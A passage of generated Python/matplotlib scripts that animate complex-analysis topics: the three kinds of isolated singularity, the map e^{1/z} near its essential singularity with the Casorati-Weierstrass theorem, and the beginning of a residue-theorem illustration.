YS = (0.497, 0.463, 0.428)
ANN = [axw.fill(np.r_[0.953 * u.real, 0.0474 * u.real[::-1]], np.r_[0.953 * u.imag, 0.0474 * u.imag[::-1]], color="0.8", lw=0)[0],
       axz.fill([0], [0], color="0.55", lw=0, zorder=5)[0]]
view = [None]
L1, L2 = fig.text(0.34, YS[0], "", ha="right", va="center"), fig.text(0.34, YS[1], "", ha="right", va="center")
V1 = fig.text(0.36, YS[0], "", va="center"); R3 = fig.text(0.5, YS[2], "", ha="center", va="center", color="0.25")
V5 = [fig.text(0.36 + 0.125 * i, YS[1], "", va="center", color=c) for i, c in enumerate(COL)]
live = []

TT = {"rem": (r"Removable: $f(z)=\frac{\sin z}{z}=1-\frac{z^2}{6}+\cdots$ at $z_0=0$",
              r"along every ray $f(te^{i\theta})\to1$: one limit, $f(0):=1$ removes it (Theorem 26.4)",
              r"$|f(te^{i\theta})-1|$:", "every ray lands on the same point $1$"),
      "pole": (r"Pole of order 3: $f(z)=\frac{\sin z}{z^4}=z^{-3}-\frac{1}{6}z^{-1}+\cdots$",
               r"every ray runs out to $\infty$ like $t^{-3}$, arriving in the direction $\arg w=-3\theta$",
               r"$t^3\,|f(te^{i\theta})|$:", r"$\to1=|a_{-3}|$ on every ray: the rate $t^{-3}$ is the order (Theorem 26.5)"),
      "ess": (r"Essential: $f(z)=e^{1/z}$, and $|f(te^{i\theta})|=e^{\cos\theta/t}$",
              r"$\to\infty$ if $\cos\theta>0$, $\to0$ if $\cos\theta<0$, round $|w|=1$ if $\cos\theta=0$",
              r"$|f(te^{i\theta})|$:", r"different rays, different behaviour: $|f|$ has no limit in $[0,\infty]$"),
      "cw1": (r"Casorati$-$Weierstrass (Theorem 26.8) for $e^{1/z}$: shrink $D'(0,\varepsilon)$",
              r"red: the solutions $z_k=1/(\mathrm{Log}\,w_0+2\pi ik)$ of $e^{1/z}=w_0=2+i$; they pile up at $0$", "", ""),
      "cw2": (r"Every $w_0\neq0$ is taken in every $D'(0,\varepsilon)$, infinitely often",
              r"$w_0$ moves; its solutions slide along a circle or line through $0$ ($w_0=0$: none, Remark 26.9)", "", "")}


def fmt(x, ph):
    return "%.4f" % x if ph != "ess" else ("%.3g" % x).replace("e+0", "e+").replace("e-0", "e-")


def frame(k):
    while live:
        live.pop().remove()
    ph, p = SCHED[k]; tt = TT[ph]; title.set_text(tt[0]); sub.set_text(tt[1])
    ray = ph in FN
    for a in RAYS:
        a.set_visible(ray)
    DISC.set_visible(not ray); axi.set_visible(ph == "rem")
    for a in ANN:
        a.set_visible(not ray)
    if view[0] != ray:
        view[0] = ray; L = 1.4 if ray else 0.42; axz.set_xlim(-L, L); axz.set_ylim(-L, L)
        axz.set_title("$z$-plane near the singularity $z_0=0$" if ray else r"$z$-plane, zoomed in to $|x|,|y|<0.42$", fontsize=11.5, pad=2)
    if ray:
        m = int(round(p * (len(T) - 1))); w = W[ph][:, :m + 1]; c = cp(w)
        for j in range(5):
            live.extend(axz.plot(Z[j, :m + 1].real, Z[j, :m + 1].imag, color=COL[j], lw=2.6))
            live.extend(axz.plot([Z[j, m].real], [Z[j, m].imag], "o", ms=7, color=COL[j], mec="k", mew=0.6, zorder=8))
            live.extend(axw.plot(c[j].real, c[j].imag, color=COL[j], lw=1.8 if ph == "ess" else 2.4, alpha=0.9))
            live.extend(axw.plot([c[j, -1].real], [c[j, -1].imag], "o", ms=7, color=COL[j], mec="k", mew=0.6, zorder=8))
            if ph == "rem":
                live.extend(axi.plot(w[j].real, w[j].imag, color=COL[j], lw=1.8) + axi.plot([w[j, -1].real], [w[j, -1].imag], "o", ms=5, color=COL[j], mec="k", mew=0.5))
        if ph == "rem":
            live.extend(axw.plot([0.5], [0], "*", ms=15, color="red", zorder=9))
            live.append(axw.text(0.5, -0.1, "$1$", color="red", ha="center", fontsize=13))
        if ph == "pole":
            for a, cc in zip(-3 * TH, COL):
                live.extend(axw.plot([1.02 * np.cos(a), 1.12 * np.cos(a)], [1.02 * np.sin(a), 1.12 * np.sin(a)], color=cc, lw=3))
        vals = {"rem": np.abs(w[:, -1] - 1), "pole": T[m] ** 3 * np.abs(w[:, -1]), "ess": np.abs(w[:, -1])}[ph]
        L1.set_text("$t=$"); V1.set_text("%.3f" % T[m]); L2.set_text(tt[2]); R3.set_text(tt[3])
        for v, x, cc in zip(V5, vals, COL):
            v.set_text(fmt(x, ph)); v.set_color(cc)
        return
    eps = 0.4 * 0.125 ** p if ph == "cw1" else 0.05
    W0 = w0(p if ph == "cw2" else 0); zk = sols(W0); ins = np.abs(zk) < eps
    DISC.set_radius(eps); Y = 1 / eps + 0.01; P = 1 / (RECT + 1j * Y); ANN[1].set_xy(np.c_[P.real, P.imag])
    assert np.abs(P).max() < eps
    live.extend(axz.plot(eps * u.real, eps * u.imag, color="firebrick", lw=1.2, ls="--"))
    live.append(axz.text(0.72 * eps + 0.01, 0.72 * eps + 0.01, r"$D'(0,\varepsilon)$", color="firebrick", fontsize=11))
    q = np.abs(np.log(W0).imag + 2 * np.pi * KK - Y - np.pi) <= np.pi
    live.extend(axz.plot(zk[q].real, zk[q].imag, "o", ms=11, mfc="none", mec="k", mew=1.2, zorder=9))
    live.extend(axz.plot(zk[ins].real, zk[ins].imag, "o", ms=4.5, color="red", zorder=8))
    live.extend(axz.plot(zk[~ins].real, zk[~ins].imag, "o", ms=4.5, color="salmon", alpha=0.6, zorder=7))
    if ph == "cw2":
        q = cp(w0(np.linspace(0, p, 80)))
        live.extend(axw.plot(q.real, q.imag, color="red", lw=1.4))
    c0 = cp(W0)
    live.extend(axw.plot([c0.real], [c0.imag], "*", ms=17, color="red", mec="k", mew=0.6, zorder=9))
    live.append(axw.text(c0.real + 0.07, c0.imag + 0.07, "$w_0$", color="red", fontsize=14, zorder=9,
                         bbox=dict(fc="white", ec="none", pad=0.5, alpha=0.8)))
    bp, bm = KK[~ins & (KK >= 0)], KK[~ins & (KK <= 0)]
    kp, km = (bp.max() + 1 if len(bp) else 0), (bm.min() - 1 if len(bm) else 0)
    L1.set_text(r"$\varepsilon=$"); V1.set_text("%.3f;   w\u2080 = %.3f %s %.3f i" % (eps, W0.real, "\u2212" if W0.imag < 0 else "+", abs(W0.imag)))
    live.append(axw.text(-1.15, -1.13, "check:\nmax\u2096 |exp(1/z\u2096) \u2212 w\u2080|\n= %.0e" % np.abs(np.exp(1 / zk) - W0).max(), fontsize=10, color="0.3"))
    L2.set_text(r"$z_k\in D'(0,\varepsilon)$ for:")
    V5[0].set_text("every k ≥ %d and every k ≤ %d: infinitely many" % (kp, km)); V5[0].set_color("red")
    for v in V5[1:]:
        v.set_text("")
    R3.set_text(r"grey: $z=1/\zeta$, $|\mathrm{Re}\,\zeta|\leq3$, $\frac{1}{\varepsilon}<\mathrm{Im}\,\zeta<\frac{1}{\varepsilon}+2\pi$, inside $D'(0,\varepsilon)$;"
                r"  $e^{1/z}$ maps it onto $e^{-3}\leq|w|\leq e^{3}$")

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=65)
else:                       # plain Python: the poster
    plt.rcParams["pdf.fonttype"] = 42
    frame(180)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "_poster.pdf"))



"""$e^{1/z}$ near its essential singularity -- animation A (straight-line slide).
Generated by gen_anims.py from specs.py; notes: Example 26.3, p. 136 (ch26-zeros-poles.tex:34); Theorem 26.8 (Casorati-Weierstrass), p. 138 (ch26:209); Remark 26.9, p. 139 (ch26:234)
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""

import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.collections import PolyCollection

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
pi, e, I = np.pi, np.e, 1j


def arg(z, base=-np.pi):
    """argument in (base, base + 2 pi]"""
    return base + np.mod(np.angle(z) - base - 1e-12, 2 * np.pi) + 1e-12


def pw(z, a, base=-np.pi):
    """z**a with the argument taken in (base, base + 2 pi]"""
    r = np.abs(z)
    with np.errstate(divide="ignore", invalid="ignore"):
        return np.where(r > 0, np.exp(a * (np.log(np.where(r > 0, r, 1)) + 1j * arg(z, base))), 0)


def lg(z, base=-np.pi):
    """the logarithm with the argument in (base, base + 2 pi]"""
    return np.log(np.abs(z)) + 1j * arg(z, base)


def mob(M, z):
    (a, b), (c, d) = M
    with np.errstate(divide="ignore", invalid="ignore"):
        return (a * z + b) / (c * z + d)


def mpow(M, s):
    """M**s for an invertible 2x2 matrix: exp(s log M), a path of Mobius maps from I to M"""
    M = np.array(M, dtype=complex)
    M = M / np.sqrt(np.linalg.det(M))
    lam, V = np.linalg.eig(M)
    if abs(lam[0] - lam[1]) > 1e-9:
        return V @ np.diag(np.exp(s * np.log(lam))) @ np.linalg.inv(V)
    l = lam[0]                                  # parabolic: M = l (I + N), N nilpotent
    N = M / l - np.eye(2)
    return np.exp(s * np.log(l)) * (np.eye(2) + s * N)


def cut(p, R):
    """break a curve (insert gaps) where it leaves the disc of radius R or jumps across it"""
    p = np.array(p, dtype=complex)
    bad = ~np.isfinite(p) | (np.abs(p) > R)
    jump = np.r_[False, np.abs(np.diff(p)) > R / 3]
    p[bad | jump] = np.nan
    return p


def seg(s, a, b):
    """the progress (0 to 1) of a stage that runs while s goes from a to b"""
    return min(max((s - a) / (b - a), 0.0), 1.0)


def flip(z, t, d=4.0):
    """turn the plane over about the real axis, like a page, seen in perspective (t=1: z -> conj z)"""
    y = z.imag
    return (z.real + 1j * y * np.cos(np.pi * t)) * d / (d + y * np.sin(np.pi * t))


def inv(z, t):
    """r -> r**(1-2t) along each ray: t=1 is the inversion z/|z|^2 in the unit circle"""
    return np.abs(z) ** (1 - 2 * t) * np.exp(1j * np.angle(z))


def flipy(z, t):
    return z.real + 1j * np.cos(np.pi * t) * z.imag


def poly(pts, u):
    """the broken line through pts, parametrised by u in [0,1]"""
    pts = np.asarray(pts, dtype=complex)
    k = np.linspace(0, 1, len(pts))
    return np.interp(u, k, pts.real) + 1j * np.interp(u, k, pts.imag)


ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * v)
SCHED = [0.0] * 10 + list(ease(np.linspace(0, 1, 50))) + [1.0] * 16 + list(ease(np.linspace(1, 0, 50)))

H = lambda z, s: (1 - s) * z + s * (np.exp(1/z))
R = 30.0                      # curves are cut beyond this radius
LIMITS = (-6, 6, -6, 6)
SUB = 'every point moves in a straight line from $z$ to $e^{1/z}$'
TITLE = '$w=(1-s)\\,z+s\\,e^{1/z},\\quad s=%.2f$'
GRIDKIND, GRIDARGS = 'polar', (0.15, 0.6, 4, -3.141492653589793, 3.141492653589793, 12)
AVOID = []
EXTRAS = []
TRACK = None

u = np.linspace(0, 1, 301)
LINES = []                                   # (points z(u), colour)
if GRIDKIND == "cart":
    x0, x1, y0, y1, nx, ny = GRIDARGS
    for c in np.linspace(x0, x1, nx):
        LINES.append((c + 1j * (y0 + (y1 - y0) * u), "tab:blue"))
    for c in np.linspace(y0, y1, ny):
        LINES.append(((x0 + (x1 - x0) * u) + 1j * c, "tab:red"))
elif GRIDKIND == "polar":                    # circles blue, rays red
    r0, r1, nr, t0, t1, nt = GRIDARGS
    for r in np.linspace(r0, r1, nr):
        LINES.append((r * np.exp(1j * (t0 + (t1 - t0) * u)), "tab:blue"))
    for t in np.linspace(t0, t1, nt, endpoint=(t1 - t0 < 2 * np.pi - 0.01)):
        LINES.append(((r0 + (r1 - r0) * u) * np.exp(1j * t), "tab:red"))
else:                                        # "curves": a list of (expression in u, colour)
    LINES = [(eval("lambda u: " + ex)(u), col) for ex, col in GRIDARGS]
LINES = [(z, c) for z, c in LINES if not any(np.min(np.abs(z - q)) < 1e-9 for q in AVOID)]
EXTRA = [(eval("lambda u: " + ex), col) for ex, col in EXTRAS]

S_EPS = 1e-6
Hs = lambda z, s: H(z, max(s, S_EPS))


def image(z, s):
    return cut(Hs(z, s), R)


pts = np.concatenate([image(z, s) for z, _ in LINES for s in np.linspace(0, 1, 13)]
                     + [image(g(u), s) for g, _ in EXTRA for s in np.linspace(0, 1, 13)])
pts = pts[np.isfinite(pts)]
if LIMITS:
    X0, X1, Y0, Y1 = LIMITS
else:
    X0, X1, Y0, Y1 = pts.real.min(), pts.real.max(), pts.imag.min(), pts.imag.max()
    h = 0.55 * max(X1 - X0, Y1 - Y0)            # a square box around everything
    cx, cy = (X0 + X1) / 2, (Y0 + Y1) / 2
    X0, X1, Y0, Y1 = cx - h, cx + h, cy - h, cy + h

fig = plt.figure(figsize=(6, 6.6))
ax = fig.add_axes([0.08, 0.05, 0.88, 0.80])
ax.set_xlim(X0, X1); ax.set_ylim(Y0, Y1); ax.set_aspect("equal", adjustable="box")
ax.axhline(0, color="0.82", lw=0.8); ax.axvline(0, color="0.82", lw=0.8)
ax.tick_params(labelsize=9)
for z, _ in LINES:
    q = cut(z, R)
    ax.plot(q.real, q.imag, color="0.88", lw=0.8)
curves = [ax.plot([], [], color=c, lw=1.2)[0] for _, c in LINES]
extras = [ax.plot([], [], color=c, lw=2, ls="-" if c in ("k", "black") else "--")[0] for _, c in EXTRA]
dot, = ax.plot([], [], "o", color="k", ms=6)
two = "\n" in SUB
title = fig.text(0.5, 0.955 if two else 0.945, "", ha="center", fontsize=14)
fig.text(0.5, 0.905 if two else 0.905, SUB, ha="center", va="center" if two else "baseline",
         fontsize=10 if two else 10.5, color="0.35", linespacing=1.5)


def frame(k):
    s = SCHED[k % len(SCHED)]
    for (z, _), c in zip(LINES, curves):
        p = image(z, s)
        c.set_data(p.real, p.imag)
    for (g, _), c in zip(EXTRA, extras):
        p = image(g(u), s)
        c.set_data(p.real, p.imag)
    if TRACK is not None:
        p = Hs(np.array([TRACK]), s)[0]
        dot.set_data([p.real], [p.imag])
    title.set_text(TITLE % s)

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster is the finished map (s = 1)
    plt.rcParams["pdf.fonttype"] = 42
    frame(10 + 50 + 5)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "") + "_poster.pdf")



"""$e^{1/z}$ near its essential singularity -- animation B (path of maps).
Generated by gen_anims.py from specs.py; notes: Example 26.3, p. 136 (ch26-zeros-poles.tex:34); Theorem 26.8 (Casorati-Weierstrass), p. 138 (ch26:209); Remark 26.9, p. 139 (ch26:234)
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""

import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.collections import PolyCollection

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
pi, e, I = np.pi, np.e, 1j


def arg(z, base=-np.pi):
    """argument in (base, base + 2 pi]"""
    return base + np.mod(np.angle(z) - base - 1e-12, 2 * np.pi) + 1e-12


def pw(z, a, base=-np.pi):
    """z**a with the argument taken in (base, base + 2 pi]"""
    r = np.abs(z)
    with np.errstate(divide="ignore", invalid="ignore"):
        return np.where(r > 0, np.exp(a * (np.log(np.where(r > 0, r, 1)) + 1j * arg(z, base))), 0)


def lg(z, base=-np.pi):
    """the logarithm with the argument in (base, base + 2 pi]"""
    return np.log(np.abs(z)) + 1j * arg(z, base)


def mob(M, z):
    (a, b), (c, d) = M
    with np.errstate(divide="ignore", invalid="ignore"):
        return (a * z + b) / (c * z + d)


def mpow(M, s):
    """M**s for an invertible 2x2 matrix: exp(s log M), a path of Mobius maps from I to M"""
    M = np.array(M, dtype=complex)
    M = M / np.sqrt(np.linalg.det(M))
    lam, V = np.linalg.eig(M)
    if abs(lam[0] - lam[1]) > 1e-9:
        return V @ np.diag(np.exp(s * np.log(lam))) @ np.linalg.inv(V)
    l = lam[0]                                  # parabolic: M = l (I + N), N nilpotent
    N = M / l - np.eye(2)
    return np.exp(s * np.log(l)) * (np.eye(2) + s * N)


def cut(p, R):
    """break a curve (insert gaps) where it leaves the disc of radius R or jumps across it"""
    p = np.array(p, dtype=complex)
    bad = ~np.isfinite(p) | (np.abs(p) > R)
    jump = np.r_[False, np.abs(np.diff(p)) > R / 3]
    p[bad | jump] = np.nan
    return p


def seg(s, a, b):
    """the progress (0 to 1) of a stage that runs while s goes from a to b"""
    return min(max((s - a) / (b - a), 0.0), 1.0)


def flip(z, t, d=4.0):
    """turn the plane over about the real axis, like a page, seen in perspective (t=1: z -> conj z)"""
    y = z.imag
    return (z.real + 1j * y * np.cos(np.pi * t)) * d / (d + y * np.sin(np.pi * t))


def inv(z, t):
    """r -> r**(1-2t) along each ray: t=1 is the inversion z/|z|^2 in the unit circle"""
    return np.abs(z) ** (1 - 2 * t) * np.exp(1j * np.angle(z))


def flipy(z, t):
    return z.real + 1j * np.cos(np.pi * t) * z.imag


def poly(pts, u):
    """the broken line through pts, parametrised by u in [0,1]"""
    pts = np.asarray(pts, dtype=complex)
    k = np.linspace(0, 1, len(pts))
    return np.interp(u, k, pts.real) + 1j * np.interp(u, k, pts.imag)


ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * v)
SCHED = [0.0] * 10 + list(ease(np.linspace(0, 1, 50))) + [1.0] * 16 + list(ease(np.linspace(1, 0, 50)))

H = lambda z, s: (lambda w, t: (np.exp(t*w)-1)/t + t)(mob(mpow([[0, 1], [1, 0]], seg(s,0,.5)), z), max(seg(s,.5,1),1e-6))
R = 30.0                      # curves are cut beyond this radius
LIMITS = (-6, 6, -6, 6)
SUB = 'first $1/z$ (a turn of the sphere) sends small circles far out,\nthen $e^w$ wraps them round and round $0$'
TITLE = '$\\mathrm{first}\\ 1/z,\\ \\mathrm{then}\\ e^{w},\\quad s=%.2f$'
GRIDKIND, GRIDARGS = 'polar', (0.15, 0.6, 4, -3.141492653589793, 3.141492653589793, 12)
AVOID = []
EXTRAS = []
TRACK = None

u = np.linspace(0, 1, 301)
LINES = []                                   # (points z(u), colour)
if GRIDKIND == "cart":
    x0, x1, y0, y1, nx, ny = GRIDARGS
    for c in np.linspace(x0, x1, nx):
        LINES.append((c + 1j * (y0 + (y1 - y0) * u), "tab:blue"))
    for c in np.linspace(y0, y1, ny):
        LINES.append(((x0 + (x1 - x0) * u) + 1j * c, "tab:red"))
elif GRIDKIND == "polar":                    # circles blue, rays red
    r0, r1, nr, t0, t1, nt = GRIDARGS
    for r in np.linspace(r0, r1, nr):
        LINES.append((r * np.exp(1j * (t0 + (t1 - t0) * u)), "tab:blue"))
    for t in np.linspace(t0, t1, nt, endpoint=(t1 - t0 < 2 * np.pi - 0.01)):
        LINES.append(((r0 + (r1 - r0) * u) * np.exp(1j * t), "tab:red"))
else:                                        # "curves": a list of (expression in u, colour)
    LINES = [(eval("lambda u: " + ex)(u), col) for ex, col in GRIDARGS]
LINES = [(z, c) for z, c in LINES if not any(np.min(np.abs(z - q)) < 1e-9 for q in AVOID)]
EXTRA = [(eval("lambda u: " + ex), col) for ex, col in EXTRAS]

S_EPS = 1e-6
Hs = lambda z, s: H(z, max(s, S_EPS))


def image(z, s):
    return cut(Hs(z, s), R)


pts = np.concatenate([image(z, s) for z, _ in LINES for s in np.linspace(0, 1, 13)]
                     + [image(g(u), s) for g, _ in EXTRA for s in np.linspace(0, 1, 13)])
pts = pts[np.isfinite(pts)]
if LIMITS:
    X0, X1, Y0, Y1 = LIMITS
else:
    X0, X1, Y0, Y1 = pts.real.min(), pts.real.max(), pts.imag.min(), pts.imag.max()
    h = 0.55 * max(X1 - X0, Y1 - Y0)            # a square box around everything
    cx, cy = (X0 + X1) / 2, (Y0 + Y1) / 2
    X0, X1, Y0, Y1 = cx - h, cx + h, cy - h, cy + h

fig = plt.figure(figsize=(6, 6.6))
ax = fig.add_axes([0.08, 0.05, 0.88, 0.80])
ax.set_xlim(X0, X1); ax.set_ylim(Y0, Y1); ax.set_aspect("equal", adjustable="box")
ax.axhline(0, color="0.82", lw=0.8); ax.axvline(0, color="0.82", lw=0.8)
ax.tick_params(labelsize=9)
for z, _ in LINES:
    q = cut(z, R)
    ax.plot(q.real, q.imag, color="0.88", lw=0.8)
curves = [ax.plot([], [], color=c, lw=1.2)[0] for _, c in LINES]
extras = [ax.plot([], [], color=c, lw=2, ls="-" if c in ("k", "black") else "--")[0] for _, c in EXTRA]
dot, = ax.plot([], [], "o", color="k", ms=6)
two = "\n" in SUB
title = fig.text(0.5, 0.955 if two else 0.945, "", ha="center", fontsize=14)
fig.text(0.5, 0.905 if two else 0.905, SUB, ha="center", va="center" if two else "baseline",
         fontsize=10 if two else 10.5, color="0.35", linespacing=1.5)


def frame(k):
    s = SCHED[k % len(SCHED)]
    for (z, _), c in zip(LINES, curves):
        p = image(z, s)
        c.set_data(p.real, p.imag)
    for (g, _), c in zip(EXTRA, extras):
        p = image(g(u), s)
        c.set_data(p.real, p.imag)
    if TRACK is not None:
        p = Hs(np.array([TRACK]), s)[0]
        dot.set_data([p.real], [p.imag])
    title.set_text(TITLE % s)

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster is the finished map (s = 1)
    plt.rcParams["pdf.fonttype"] = 42
    frame(10 + 50 + 5)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "") + "_poster.pdf")



"""$e^{1/z}$ near its essential singularity -- animation C (tiles).
Generated by gen_anims.py from specs.py; notes: Example 26.3, p. 136 (ch26-zeros-poles.tex:34); Theorem 26.8 (Casorati-Weierstrass), p. 138 (ch26:209); Remark 26.9, p. 139 (ch26:234)
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""

import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.collections import PolyCollection

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
pi, e, I = np.pi, np.e, 1j


def arg(z, base=-np.pi):
    """argument in (base, base + 2 pi]"""
    return base + np.mod(np.angle(z) - base - 1e-12, 2 * np.pi) + 1e-12


def pw(z, a, base=-np.pi):
    """z**a with the argument taken in (base, base + 2 pi]"""
    r = np.abs(z)
    with np.errstate(divide="ignore", invalid="ignore"):
        return np.where(r > 0, np.exp(a * (np.log(np.where(r > 0, r, 1)) + 1j * arg(z, base))), 0)


def lg(z, base=-np.pi):
    """the logarithm with the argument in (base, base + 2 pi]"""
    return np.log(np.abs(z)) + 1j * arg(z, base)


def mob(M, z):
    (a, b), (c, d) = M
    with np.errstate(divide="ignore", invalid="ignore"):
        return (a * z + b) / (c * z + d)


def mpow(M, s):
    """M**s for an invertible 2x2 matrix: exp(s log M), a path of Mobius maps from I to M"""
    M = np.array(M, dtype=complex)
    M = M / np.sqrt(np.linalg.det(M))
    lam, V = np.linalg.eig(M)
    if abs(lam[0] - lam[1]) > 1e-9:
        return V @ np.diag(np.exp(s * np.log(lam))) @ np.linalg.inv(V)
    l = lam[0]                                  # parabolic: M = l (I + N), N nilpotent
    N = M / l - np.eye(2)
    return np.exp(s * np.log(l)) * (np.eye(2) + s * N)


def cut(p, R):
    """break a curve (insert gaps) where it leaves the disc of radius R or jumps across it"""
    p = np.array(p, dtype=complex)
    bad = ~np.isfinite(p) | (np.abs(p) > R)
    jump = np.r_[False, np.abs(np.diff(p)) > R / 3]
    p[bad | jump] = np.nan
    return p


def seg(s, a, b):
    """the progress (0 to 1) of a stage that runs while s goes from a to b"""
    return min(max((s - a) / (b - a), 0.0), 1.0)


def flip(z, t, d=4.0):
    """turn the plane over about the real axis, like a page, seen in perspective (t=1: z -> conj z)"""
    y = z.imag
    return (z.real + 1j * y * np.cos(np.pi * t)) * d / (d + y * np.sin(np.pi * t))


def inv(z, t):
    """r -> r**(1-2t) along each ray: t=1 is the inversion z/|z|^2 in the unit circle"""
    return np.abs(z) ** (1 - 2 * t) * np.exp(1j * np.angle(z))


def flipy(z, t):
    return z.real + 1j * np.cos(np.pi * t) * z.imag


def poly(pts, u):
    """the broken line through pts, parametrised by u in [0,1]"""
    pts = np.asarray(pts, dtype=complex)
    k = np.linspace(0, 1, len(pts))
    return np.interp(u, k, pts.real) + 1j * np.interp(u, k, pts.imag)


ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * v)
SCHED = [0.0] * 10 + list(ease(np.linspace(0, 1, 50))) + [1.0] * 16 + list(ease(np.linspace(1, 0, 50)))

H = lambda z, s: (lambda w, t: (np.exp(t*w)-1)/t + t)(mob(mpow([[0, 1], [1, 0]], seg(s,0,.5)), z), max(seg(s,.5,1),1e-6))
R = 30.0                      # curves are cut beyond this radius
LIMITS = (-6, 6, -6, 6)
SUB = 'first $1/z$ (a turn of the sphere) sends small circles far out, then $e^w$ wraps them round and round $0$'
TITLE = '$\\mathrm{first}\\ 1/z,\\ \\mathrm{then}\\ e^{w},\\quad s=%.2f$'
TILEKIND, TILEARGS = 'polar', (0.15, 0.6, 3, -3.141492653589793, 3.141492653589793, 12)
HILITE = [14, 30]

S_EPS = 1e-6
Hs = lambda z, s: H(z, max(s, S_EPS))
E = 10
ee = np.linspace(0, 1, E, endpoint=False)
TL = []
if TILEKIND == "cart":
    x0, x1, y0, y1, n, m = TILEARGS
    hx, hy = (x1 - x0) / n, (y1 - y0) / m
    for j in range(m):
        for i in range(n):
            a, b = x0 + i * hx, y0 + j * hy
            TL.append(np.concatenate([a + hx * ee + 1j * b, a + hx + 1j * (b + hy * ee),
                                      a + hx * (1 - ee) + 1j * (b + hy), a + 1j * (b + hy * (1 - ee))]))
else:
    r0, r1, n, t0, t1, m = TILEARGS
    hr, ht = (r1 - r0) / n, (t1 - t0) / m
    for j in range(m):
        for i in range(n):
            a, b = r0 + i * hr, t0 + j * ht
            TL.append(np.concatenate([(a + hr * ee) * np.exp(1j * b), (a + hr) * np.exp(1j * (b + ht * ee)),
                                      (a + hr * (1 - ee)) * np.exp(1j * (b + ht)), a * np.exp(1j * (b + ht * (1 - ee)))]))
PALE = ["#dfe8f5", "#f6e3d3"]
COL = [PALE[(i + j) % 2] for j in range(m) for i in range(n)]
for k, c in zip(HILITE, ["#e76f51", "#2a9d8f"]):
    COL[k] = c


def shown(p):                                   # tiles that pass near infinity are hidden
    return np.all(np.isfinite(p)) and np.max(np.abs(p)) < R


allp = np.concatenate([Hs(t, s) for t in TL for s in np.linspace(0, 1, 11)])
allp = allp[np.isfinite(allp) & (np.abs(allp) < R)]
if LIMITS:
    X0, X1, Y0, Y1 = LIMITS
else:
    X0, X1, Y0, Y1 = allp.real.min(), allp.real.max(), allp.imag.min(), allp.imag.max()
    mg = 0.05 * max(X1 - X0, Y1 - Y0)
    X0, X1, Y0, Y1 = X0 - mg, X1 + mg, Y0 - mg, Y1 + mg
Z = np.concatenate(TL)
zx0, zx1, zy0, zy1 = Z.real.min(), Z.real.max(), Z.imag.min(), Z.imag.max()
mz = 0.05 * max(zx1 - zx0, zy1 - zy0)

fig = plt.figure(figsize=(10, 5.4))
axz = fig.add_axes([0.05, 0.08, 0.34, 0.72])
axw = fig.add_axes([0.45, 0.08, 0.52, 0.72])
axz.set_xlim(zx0 - mz, zx1 + mz); axz.set_ylim(zy0 - mz, zy1 + mz)
axw.set_xlim(X0, X1); axw.set_ylim(Y0, Y1)
for a in (axz, axw):
    a.set_aspect("equal", adjustable="box"); a.tick_params(labelsize=9)
    a.axhline(0, color="0.82", lw=0.8); a.axvline(0, color="0.82", lw=0.8)
axz.add_collection(PolyCollection([np.c_[t.real, t.imag] for t in TL], facecolors=COL,
                                  edgecolors="white", linewidths=0.8))
axz.set_title(r"$z$-plane", fontsize=13)
tw = PolyCollection([], edgecolors="white", linewidths=0.8)
axw.add_collection(tw)
title = axw.set_title("", fontsize=13)
fig.text(0.5, 0.925, SUB, ha="center", va="center", fontsize=11 if "\n" in SUB else 11.5, color="0.3", linespacing=1.5)


def frame(k):
    s = SCHED[k % len(SCHED)]
    P = [Hs(t, s) for t in TL]
    keep = [i for i, p in enumerate(P) if shown(p)]
    tw.set_verts([np.c_[P[i].real, P[i].imag] for i in keep])
    tw.set_facecolors([COL[i] for i in keep])
    title.set_text(TITLE % s)

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster is the finished map (s = 1)
    plt.rcParams["pdf.fonttype"] = 42
    frame(10 + 50 + 5)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "") + "_poster.pdf")



"""The residue theorem (Theorem 27.5), version 1: the proof in the notes, as pull-apart.
Cuts join C to small circles C_k round the poles inside C; pull apart, run round, put back, the cuts cancel
(Theorem 20.10); each C_k gives 2 pi i Res(f,z_k) (eq. (27.1)). The pole z4 outside C does not count.
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""
import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.colors import to_rgb

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
CCOL, PCOL = "#1f6f78", "#c96a00"
K, A = 405, 4 + 3j
P = np.array([-3, 0, 3, A])
ORD = [3, 1, 1, 1]
FTEX = r"$f(z)=\frac{405\,e^{z/2}}{(z+3)^{3}\,z\,(z-3)\,(z-4-3i)}$"
f = lambda z: K * np.exp(z / 2) / ((z + 3) ** 3 * z * (z - 3) * (z - A))
ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * min(max(v, 0.0), 1.0))

def residue(k):
    p, o = P[k], [(P[j], ORD[j]) for j in range(4) if j != k]
    phi = K * np.exp(p / 2) / np.prod([(p - q) ** m for q, m in o])
    if ORD[k] == 1:
        return phi
    L, L1 = 0.5 - sum(m / (p - q) for q, m in o), sum(m / (p - q) ** 2 for q, m in o)
    return phi * (L * L + L1) / 2

RES = np.array([residue(k) for k in range(4)])

